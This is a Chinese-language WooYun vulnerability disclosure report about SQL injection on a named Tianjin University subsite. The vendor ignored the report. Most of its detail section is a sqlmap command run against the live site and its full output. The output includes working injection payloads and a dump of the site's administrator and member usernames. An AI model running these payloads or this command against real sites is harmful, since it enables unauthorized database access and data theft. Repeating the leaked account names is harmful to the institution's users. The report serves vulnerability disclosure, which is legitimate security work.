当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055424

漏洞标题:天津大学分站sql注入漏洞2

相关厂商:tju.edu.cn

漏洞作者: JiuShao

提交时间:2014-04-03 16:10

修复时间:2014-04-08 16:10

公开时间:2014-04-08 16:10

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-03: 细节已通知厂商并且等待厂商处理中
2014-04-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

天津大学分站sql注入漏洞2

详细说明:

地址:http://mpa.tju.edu.cn/page.php?p=5

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://mpa.tju.edu.cn/page.php?p=5 --dump -C "username" -T "da30_members" -D "mpa103"
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:00:05
[16:00:05] [INFO] resuming back-end DBMS 'mysql'
[16:00:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: p
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=5 AND 9188=9188
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: p=5 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6679663a,0x48424f6a724943535874,0x3a67706e3a), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: p=5 AND SLEEP(5)
---
[16:00:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0.11
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
[16:00:09] [INFO] fetching columns like 'username' for table 'da30_members' in database 'mpa103'
[16:00:10] [INFO] the SQL query used returns 1 entries
[16:00:11] [INFO] retrieved: "username","varchar(50)"
[16:00:11] [INFO] fetching entries of column(s) 'username' for table 'da30_members' in database 'mpa103'
[16:00:12] [INFO] the SQL query used returns 4 entries
[16:00:13] [INFO] retrieved: "admin"
[16:00:13] [INFO] retrieved: "mpalj"
[16:00:14] [INFO] retrieved: "mpayjp"
[16:00:15] [INFO] retrieved: "mpazy"
[16:00:15] [INFO] analyzing table dump for possible password hashes
Database: mpa103
Table: da30_members
[4 entries]
+----------+
| username |
+----------+
| admin |
| mpalj |
| mpayjp |
| mpazy |
+----------+
[16:00:15] [INFO] table 'mpa103.da30_members' dumped to CSV file '/pentest/database/sqlmap/output/mpa.tju.edu.cn/dump/mpa103/da30_members.csv'
[16:00:15] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/mpa.tju.edu.cn'
[*] shutting down at 16:00:15

1.jpg


漏洞证明:

1.jpg

其他内容见详细

修复方案:

建议全部网站检修一遍。顺便求礼物哈。

版权声明:转载请注明来源 JiuShao@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-04-08 16:10

厂商回复:

最新状态:

暂无